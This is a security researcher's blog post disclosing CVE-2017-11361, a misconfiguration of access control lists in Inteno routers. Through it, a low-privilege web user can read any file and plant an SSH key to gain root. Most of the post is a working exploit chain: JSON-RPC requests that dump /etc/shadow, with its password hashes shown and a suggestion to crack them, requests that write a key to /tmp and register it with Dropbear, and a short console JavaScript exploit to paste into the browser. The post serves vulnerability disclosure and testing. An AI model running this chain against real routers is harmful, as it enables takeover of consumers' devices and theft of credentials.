Inteno misconfigured ACLs leading to information disclosure and logging in as root

Recently, while testing the security of Inteno routers, I found a misconfiguration in the Access Control Lists, which allows any authenticated user to see the contents of any file, write their own files and add an SSH key to the router, allowing for easy log in as root. By default, the consumer is only provided with the user account and the built-in support and admin accounts are not accessible. This vulnerability is dangerous as by default, the password for user is the same as the pre-set Wi-Fi key, or in some cases user, allowing for easy authentication. This vulnerability has been assigned CVE ID: CVE-2017-11361 and a CVSSv3 score of 8.8.

I've written about one of Inteno's routers in a previous blog post, where I mentioned that there's no easy access to the router. It runs a modified version of OpenWRT, but the consumer is not provided with every setting and can only modify what Inteno allows the user account to modify. By default, SSH access to the routers is disabled.

I believe the ACL error stems from a misconfigured JUCI installation. JUCI communicates with the router by sending JSON-formatted commands to ubus through a WebSockets server running locally on the router. It is also possible to send your own commands by using a WebSockets client or intercepting and manipulating requests using a tool like Burp. For example, to log in and request a session id, we cand send this request:

>{"jsonrpc":"2.0","method":"call","params":["00000000000000000000000000000000","session","login",{"username":"user","password":"testing"}],"id":0}

The server responds with the return code 0, our session ID to use with future requests and also all of the commands available to us:

<{"jsonrpc":"2.0","id":0,"result":[0,{"ubus_rpc_session":"eb3bd8e7beb01338b21533a89b678971","timeout":300,"expires":299,"acls":{"access-group":{"core":["read"],"juci-broadcom-dsl":["read"],"juci-broadcom-dsl-admin":["write"],"juci-broadcom-ethernet":["read","write"],"juci-broadcom-iptv":["read","write"],"juci-broadcom-vlan":["read"],"juci-broadcom-vlan-admin":["write"],"juci-ddns":["read","write"],"juci-diagnostics":["read","write"],"juci-dnsmasq-dhcp":["read","write"],"juci-dropbear":["read","write"],"juci-ethernet":["read"],"juci-event":["read"],"juci-firewall-fw3":["read","write"],"juci-igmpinfo":["read"],"juci-inteno-backup":["read","write"],"juci-inteno-provisioning":["read","write"],"juci-inteno-qos":["read","write"],"juci-inteno-voice-client":["read","write"],"juci-minidlna":["read","write"],"juci-mod-status":["read"],"juci-mod-system":["read","write"],"juci-natalie-dect":["read","write"],"juci-netmode":["read","write"],"juci-network-netifd":["read","write"],"juci-owsd":["read","write"],"juci-printer":["read","write"],"juci-realtime-graphs":["read"],"juci-samba":["read","write"],"juci-snmpd":["read","write"],"juci-sysupgrade":["read","write"],"juci-upnp":["read","write"],"juci-usb":["read"],"juci-wireless":["read"],"juci-wireless-admin":["write"],"unauthenticated":["read"]},"juci-backup-iup":{"download":["read"]},"juci-io":{"backup":["read"],"upload":["write"]},"owsd":{"client":["read"],"dect":["read"],"defaultreset":["read"],"diagnostics.ping":["read"],"diagnostics.ping6":["read"],"diagnostics.speedtest":["read"],"diagnostics.traceroute":["read"],"diagnostics.traceroute6":["read"],"hotplug.switch":["read"],"hotplug.usb":["read"],"network.interface":["read"],"sysupgrade":["read"],"usb.device.add":["read"],"wifi-repeater-success":["read"],"wifi.wps":["read"],"wps":["read"]},"passwd":{"self":["write"]},"ubus":{"asterisk":["status"],"asterisk.call_log":["list"],"dect":["state","handset","status","call"],"file":["read","write","stat"],"juci.ddns":["providers","status"],"juci.diagnostics":["ping","traceroute","tptest_start","tptest_packet_size","tptest_running"],"juci.firewall":["excluded_ports"],"juci.iup":["backup"],"juci.modems":["list"],"juci.network":["has_link","ifup","load","nameservers","services","protocols","online"],"juci.service":["list","start","stop","enable","disable","reload"],"juci.system":["reboot","defaultreset","listusers","zonelist","led_status","passwd_entries"],"juci.sysupgrade":["check","test","start","create-backup","restore-backup","features"],"juci.unauthenticated":["*"],"juci.upnpd":["ports"],"juci.voice_client":["get_trusted_ca","set_trusted_ca"],"juci.wireless":["set_credentials"],"network.device":["status"],"network.interface":["status","dump"],"network.interface.*":["up","down"],"repeater":["set_creds"],"router.directory":["folder_tree","autocomplete"],"router.dropbear":["add_ssh_key","get_ssh_keys","del_ssh_key"],"router.dsl":["stats"],"router.graph":["client_traffic","iface_traffic","load","connections"],"router.net":["igmp_snooping","arp","ip_conntrack","ipv4_routes","ipv6_routes","ipv6_neigh"],"router.network":["leases","dump","ports","clients"],"router.port":["status"],"router.system":["logs","info","memory_bank","password_set","fs","processes"],"router.usb":["status"],"router.wireless":["scan","scanresults","radios","bsd_sta_info","bsd_records","bs_data","autochannel","status","stas"],"router.wps":["genpin","pbc","pbc_client","setpin","showpin","stapin","checkpin","status","stop"],"session":["list","access","destroy","login"],"system":["info","board"],"uci":["get","state","configs","*"]},"uci":{"backup":["read","write"],"boardpanel":["read","write"],"buttons":["read","write"],"ddns":["read","write"],"dect":["read","write"],"dhcp":["read","write"],"dropbear":["read","write"],"firewall":["read","write"],"hosts":["read","write"],"juci":["read","write"],"layer2_interface_adsl":["read","write"],"layer2_interface_ethernet":["read","write"],"layer2_interface_vdsl":["read","write"],"layer2_interface_vlan":["write","read"],"leds":["read","write"],"mcpd":["read","write"],"minidlna":["read","write"],"netmode":["read","write"],"network":["read","write"],"owsd":["read","write"],"p910nd":["read","write"],"passwords":["read","write"],"ports":["read","write"],"provisioning":["read","write"],"qos":["read","write"],"samba":["read","write"],"snmpd":["read","write"],"speedtest":["read","write"],"system":["read","write"],"upnpd":["read","write"],"voice_client":["read","write"],"wireless":["read","write"]}},"data":{"username":"user"}}]}

For further clarification for the commands we can run and what parameters they require, we can send the following request. Note how I'm using our session ID:

>{"jsonrpc":"2.0","method":"list","params":["eb3bd8e7beb01338b21533a89b678971","*"],"id":1}

The response is as follows:

<{"jsonrpc":"2.0","id":1,"result":[0,{"asterisk":{"status":{},"codecs":{}},"asterisk.brcm":{"dump":{}},"asterisk.brcm.0":{"status":{}},"asterisk.brcm.1":{"status":{}},"asterisk.brcm.2":{"status":{}},"asterisk.brcm.3":{"status":{}},"asterisk.brcm.4":{"status":{}},"asterisk.brcm.5":{"status":{}},"asterisk.call_log":{"list":{"number":"string","type":"string","limit":"number"},"delete":{"uniqueid":"string"}},"asterisk.dect":{"list":{}},"asterisk.dect.api":{"call":{"terminal":"number","add":"number","release":"number","cid":"string"}},"asterisk.sip":{"dump":{}},"asterisk.sip.0":{"status":{}},"asterisk.sip.1":{"status":{}},"asterisk.sip.2":{"status":{}},"asterisk.sip.3":{"status":{}},"asterisk.sip.4":{"status":{}},"asterisk.sip.5":{"status":{}},"asterisk.sip.6":{"status":{}},"asterisk.sip.7":{"status":{}},"button":{"set":{"name":"string","state":"string"},"status":{}},"button.DECT":{"state":{},"press":{},"press_long":{}},"button.ECO":{"state":{},"press":{},"press_long":{}},"button.INFO":{"state":{},"press":{},"press_long":{}},"button.RESET":{"state":{},"press":{},"press_long":{}},"button.WPS":{"state":{},"press":{},"press_long":{}},"buttons":{"state":{}},"dect":{"state":{"radio":"string","registration":"string"},"handset":{"list":"string","delete":"number","pageall":"string"},"status":{},"call":{"terminal":"number","add":"number","release":"number","cid":"string"}},"dhcp":{"ipv4leases":{},"ipv6leases":{}},"file":{"read":{"path":"string","base64":"boolean"},"write":{"path":"string","data":"string","append":"boolean","mode":"number","base64":"boolean"},"list":{"path":"string"},"stat":{"path":"string"},"md5":{"path":"string"},"exec":{"command":"string","params":"array","env":"object"}},"juci.ddns":{"providers":{},"status":{"service":"string"}},"juci.diagnostics":{"ping":{"host":"string","seq":"number","count":"number","timeout":"number"},"ping6":{"host":"string","seq":"number","count":"number","timeout":"number"},"traceroute":{"host":"string","seq":"number","querycount":"number","timeout":"number"},"traceroute6":{"host":"string","seq":"number","querycount":"number","timeout":"number"},"tptest_start":{"seq":"number","auto":"boolean","testmode":"string","packetsize_up":"number","packetsize_down":"number","port":"number"},"tptest_packet_size":{},"tptest_running":{}},"juci.firewall":{"excluded_ports":{}},"juci.iup":{"backup":{"filename":"string"}},"juci.modems":{"list":{}},"juci.network":{"has_link":{"interface":"string"},"ifup":{"interface":"string"},"arp":{},"ipv4routes":{},"ipv6routes":{},"ipv6neigh":{},"load":{},"nameservers":{},"nat_table":{},"protocols":{},"services":{},"online":{}},"juci.service":{"list":{},"start":{"name":"string"},"stop":{"name":"string"},"enable":{"name":"string"},"disable":{"name":"string"},"reload":{"name":"string"},"restart":{"name":"string"},"status":{"name":"string"}},"juci.system":{"led_status":{"name":"string"},"defaultreset":{},"reboot":{},"zonelist":{},"passwd_entries":{}},"juci.sysupgrade":{"test":{"path":"string"},"start":{"path":"string","keep":"number"},"check":{"type":"string"},"create-backup":{"pass":"string"},"restore-backup":{"pass":"string"},"features":{}},"juci.unauthenticated":{"username":{},"firmware":{}},"juci.upnpd":{"ports":{}},"juci.voice":{"get_trusted_ca":{},"set_trusted_ca":{"data":"string"}},"juci.voice_client":{"get_trusted_ca":{},"set_trusted_ca":{"data":"string"}},"juci.wireless":{"set_credentials":{"ssid":"string","encryption":"string","key":"string","import":"boolean"}},"led.broadband":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.dect":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.dsl":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.eco":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.internet":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.lan":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.status":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.tv":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.voice1":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.wan":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.wan_phy_speed":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.wifi":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"led.wps":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"leds":{"set":{"state":"string","brightness":"number","timeout":"number","enable":"number"},"status":{}},"log":{"read":{"lines":"number"},"write":{"event":"string"}},"network":{"restart":{},"reload":{},"add_host_route":{"target":"string","v6":"boolean","interface":"string"},"get_proto_handlers":{},"add_dynamic":{"name":"string"}},"network.device":{"status":{"name":"string"},"set_alias":{"alias":"array","device":"string"},"set_state":{"name":"string","defer":"boolean"}},"network.interface":{"up":{},"down":{},"status":{},"prepare":{},"dump":{},"add_device":{"name":"string","link-ext":"boolean"},"remove_device":{"name":"string","link-ext":"boolean"},"notify_proto":{},"remove":{},"set_data":{}},"network.interface.lan":{"up":{},"down":{},"status":{},"prepare":{},"dump":{},"add_device":{"name":"string","link-ext":"boolean"},"remove_device":{"name":"string","link-ext":"boolean"},"notify_proto":{},"remove":{},"set_data":{}},"network.interface.loopback":{"up":{},"down":{},"status":{},"prepare":{},"dump":{},"add_device":{"name":"string","link-ext":"boolean"},"remove_device":{"name":"string","link-ext":"boolean"},"notify_proto":{},"remove":{},"set_data":{}},"network.interface.wan":{"up":{},"down":{},"status":{},"prepare":{},"dump":{},"add_device":{"name":"string","link-ext":"boolean"},"remove_device":{"name":"string","link-ext":"boolean"},"notify_proto":{},"remove":{},"set_data":{}},"network.interface.wan6":{"up":{},"down":{},"status":{},"prepare":{},"dump":{},"add_device":{"name":"string","link-ext":"boolean"},"remove_device":{"name":"string","link-ext":"boolean"},"notify_proto":{},"remove":{},"set_data":{}},"network.wireless":{"up":{},"down":{},"status":{},"notify":{},"get_validate":{}},"repeater":{"get_creds":{"network":"string","file":"string"},"set_creds":{"file":"string","from_gui":"string"}},"router.directory":{"folder_tree":{"path":"string"},"autocomplete":{"path":"string"}},"router.dropbear":{"get_ssh_keys":{},"add_ssh_key":{"path":"string"},"del_ssh_key":{"path":"string"}},"router.dsl":{"stats":{}},"router.graph":{"load":{},"connections":{},"iface_traffic":{},"client_traffic":{}},"router.net":{"arp":{},"igmp_snooping":{},"ip_conntrack":{},"ipv4_routes":{},"ipv6_neigh":{},"ipv6_routes":{}},"router.network":{"dump":{},"clients":{},"leases":{"network":"string","family":"number"},"ports":{"network":"string","family":"number"},"reload":{}},"router.port":{"status":{"port":"string"}},"router.system":{"fs":{},"info":{},"logs":{},"memory_bank":{"bank":"number"},"processes":{},"password_set":{"user":"string","password":"string","curpass":"string"}},"router.usb":{"status":{}},"router.wireless":{"status":{"vif":"string"},"stas":{"vif":"string"},"assoclist":{},"radios":{},"autochannel":{"radio":"string"},"scan":{"radio":"string"},"scanresults":{"radio":"string"},"bs_data":{"vif":"string"},"bsd_sta_info":{},"bsd_records":{}},"router.wps":{"status":{},"pbc":{},"pbc_client":{},"genpin":{},"checkpin":{"pin":"string"},"stapin":{"pin":"string"},"setpin":{"pin":"string"},"showpin":{},"stop":{}},"service":{"set":{"name":"string","script":"string","instances":"object","triggers":"array","validate":"array"},"add":{"name":"string","script":"string","instances":"object","triggers":"array","validate":"array"},"list":{"name":"string","verbose":"boolean"},"delete":{"name":"string","instance":"string"},"update_start":{"name":"string"},"update_complete":{"name":"string"},"event":{"type":"string","data":"object"},"validate":{"package":"string","type":"string","service":"string"},"get_data":{"name":"string","instance":"string","type":"string"}},"session":{"create":{"timeout":"number"},"list":{"ubus_rpc_session":"string"},"grant":{"ubus_rpc_session":"string","scope":"string","objects":"array"},"revoke":{"ubus_rpc_session":"string","scope":"string","objects":"array"},"access":{"ubus_rpc_session":"string","scope":"string","object":"string","function":"string"},"set":{"ubus_rpc_session":"string","values":"object"},"get":{"ubus_rpc_session":"string","keys":"array"},"unset":{"ubus_rpc_session":"string","keys":"array"},"destroy":{"ubus_rpc_session":"string"},"login":{"username":"string","password":"string","timeout":"number","_owsd_listen":"string"}},"system":{"board":{},"info":{},"upgrade":{},"watchdog":{"frequency":"number","timeout":"number","stop":"boolean"},"signal":{"pid":"number","signum":"number"},"nandupgrade":{"path":"string"}},"uci":{"configs":{},"get":{"config":"string","section":"string","option":"string","type":"string","match":"object","ubus_rpc_session":"string"},"state":{"config":"string","section":"string","option":"string","type":"string","match":"object","ubus_rpc_session":"string"},"add":{"config":"string","type":"string","name":"string","values":"object","ubus_rpc_session":"string"},"set":{"config":"string","section":"string","type":"string","match":"object","values":"object","ubus_rpc_session":"string"},"delete":{"config":"string","section":"string","type":"string","match":"object","option":"string","options":"array","ubus_rpc_session":"string"},"rename":{"config":"string","section":"string","option":"string","name":"string","ubus_rpc_session":"string"},"order":{"config":"string","sections":"array","ubus_rpc_session":"string"},"changes":{"config":"string","ubus_rpc_session":"string"},"revert":{"config":"string","ubus_rpc_session":"string"},"commit":{"config":"string","ubus_rpc_session":"string"},"apply":{"rollback":"boolean","timeout":"number","ubus_rpc_session":"string"},"confirm":{"ubus_rpc_session":"string"},"rollback":{"ubus_rpc_session":"string"},"reload_config":{}}}]}

There's a lot going on here. What interests us currently is the file service and its read and write commands. Turns out that using the read command, one can get the contents of any file. As an example, we can get the contents of /etc/shadow (for example to use with John the Ripper later):

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","file","read",{"path":"/etc/shadow"}],"id":2}

ubus generously responds with this:

<{"jsonrpc":"2.0","id":2,"result":[0,{"data":"root:$1$lDYcO7AZ$HXQ8UmAsfZ08TvPFEs1Vi.:17361:0:99999:7:::\ndaemon:*:0:0:99999:7:::\nftp:*:0:0:99999:7:::\nnetwork:*:0:0:99999:7:::\nnobody:*:0:0:99999:7:::\nadmin:$1$u8dA4z\/i$x9ZslIk5g6MK..H9nr7ci\/:17361:0:99999:7:::\nuser:$1$r0j6Iv8d$gWiNHxFuKN4DdgshzLRhX0:17361:0:99999:7:::\nsupport:$1$U4q9vWVt$hzIRGXxeGHtOV7VUoNNGI\/:17361:0:99999:7:::\nice:$1$aYny34bS$RWDgXkWTf.MGrQsNfbxqu.:17359:0:99999:7:::\n"}]}

One can write a script to dump the filesystem by combining file:read and router.directory:folder_tree, which lists the contents of the specified directory.

Looking back at the calls available to us, we can also see we have access to router.dropbear. Dropbear is the lightweight SSH daemon running on the router, and it's enabled by default. We can try listing the currently added SSH keys:

<{"jsonrpc":"2.0","id":3,"result":[0,{"keys":[]}]}

As we can see, there are currently no authenticated keys and SSH'ing into the server is impossible, because authentication is key-based only.

However, we also have access to the router.dropbear:add_ssh_key call. Looking at its parameters, it requires a path to add the key from. By default, when we try calling file:write, we get the response code 6, which indicates we don't have sufficient permissions for writing. This is an issue, because if we can't insert a file into the filesystem containing only the public SSH key, we can't add it to the list of authenticated keys.

However, by analysing the filesystem dump I acquired from a router (which I mentioned in the previous post), I discovered that the /tmp folder is world-writable to everybody. Therefore, we can run:

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","file", "write", {"path":"/tmp/tmpSshKey", "data":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhMRJJQpDnuyjw+yV7ZRTeVHr6Aio54FlyKGJ9Lsd3E0sfRwqy54EwVQaKzdamMzSnWkaPNCCdVGe9aAVn33uQI3bGX/WMPNippAVmcpvhzEx2THrCu5CyLN6Urijph5VLZTMqapS2qakw7lxfbx0IoqBIZGhVQghg13JRLA3yzCAGeLCt4waOXKTVpik0yLKy3I8qvrd9nTc+mAyVjnOgjB1SE4D8tVTCDexopYYyvDttBsxvaG25jkbOyOuprw5ruwb9ORwqwwzxCLsjXzVB78iJtHnZSGOCayiI38pUj+PSxFxxTV1PrE3QwVdWwufSrhFvlLCY9c6gv9BhPwZWQ== rsa-key-20170714"}],"id":4}

and the server responds with:

<{"jsonrpc":"2.0","id":4,"result":[0]}

indicating a successful write operation. By attempting to add this file to the list of authenticated keys:

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","router.dropbear", "add_ssh_key", {"path":"/tmp/tmpSshKey"}],"id":5}

the server responds with the same success code. We can confirm that our key was added to the list by listing the keys once again:

>{"jsonrpc":"2.0","method":"call","params":["eb3bd8e7beb01338b21533a89b678971","router.dropbear", "get_ssh_keys", {}],"id":7}
<{"jsonrpc":"2.0","id":7,"result":[0,{"keys":[{"type":"ssh-rsa","key":"AAAAB3NzaC1yc2EAAAABJQAAAQEAhMRJJQpDnuyjw+yV7ZRTeVHr6Aio54FlyKGJ9Lsd3E0sfRwqy54EwVQaKzdamMzSnWkaPNCCdVGe9aAVn33uQI3bGX\/WMPNippAVmcpvhzEx2THrCu5CyLN6Urijph5VLZTMqapS2qakw7lxfbx0IoqBIZGhVQghg13JRLA3yzCAGeLCt4waOXKTVpik0yLKy3I8qvrd9nTc+mAyVjnOgjB1SE4D8tVTCDexopYYyvDttBsxvaG25jkbOyOuprw5ruwb9ORwqwwzxCLsjXzVB78iJtHnZSGOCayiI38pUj+PSxFxxTV1PrE3QwVdWwufSrhFvlLCY9c6gv9BhPwZWQ==","comment":"rsa-key-20170714"}]}]}

We can now login as root using the key we added.

For those wanting a short and simple way of testing this, log into the web control panel as user, open the developer console (Ctrl-Shift-I) and paste the following in the console:

var key = prompt("Enter SSH key to add");

$rpc.$call("file", "write", {path:"/tmp/tmpSshKey", data:key});
$rpc.$call("router.dropbear", "add_ssh_key", {path:"/tmp/tmpSshKey"});

alert("Request sent, try logging in");

This exploit is written to be as short as possible, with no error checking whatsoever - it just assumes that the vulnerability is there. On fixed systems, this will do nothing. This exploit can be found on the inteno-exploits repository alongside other exploits I've written for IOPSYS devices.

In conclusion, such misconfigured ACLs can be fatal for security, especially if the default config webpanel login password is insecure. Removing critical options from the configuration menu may not be enough if an attacker can send any request they want.

Author | nns

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, IoT and Linux/GNU.